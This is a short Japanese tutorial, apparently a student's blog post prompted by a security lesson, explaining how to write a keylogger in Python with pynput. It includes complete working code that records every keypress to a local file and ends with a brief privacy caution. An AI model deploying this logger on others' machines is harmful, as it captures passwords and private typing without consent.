はじめに
この記事では、Pythonのライブラリであるpynputを使用してキーロガーを作成する方法について説明します。キーロガーは、キーボードの入力を監視し、記録するプログラムです。
なぜキーロガーを作ろうとしたのか
私が通っている電気通信大学プログラミング教室にてセキュリティの話があったのでキーロガーを作ってみることになりました。
コードの解説
from pynput import keyboard
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
file_handler = logging.FileHandler('key.log')
file_handler.setLevel(logging.INFO)
file_handler.setFormatter(logging.Formatter('%(asctime)s - %(levelname)s - %(message)s'))
logging.getLogger('').addHandler(file_handler)
with keyboard.Listener(
on_press = lambda key: logging.info("%s", key)) as listener:
listener.join()
上記のコードは、pynputライブラリを使用してキーロガーを作成するものです。キーボードの入力を監視し、入力されたキーを "key.log" というファイルに記録します。keyboard.Listener
を使用して、キーボードの入力を非同期で監視し、on_press
ハンドラーにラムダ式を指定して、キーが押されたときにログ記録します。
まとめ
pynputライブラリを使用すれば、Pythonで簡単にキーロガーを作成することができます。しかし、その使用は慎重に検討する必要があります。プライバシーを侵害せず、倫理的な範囲内で使用することが重要です。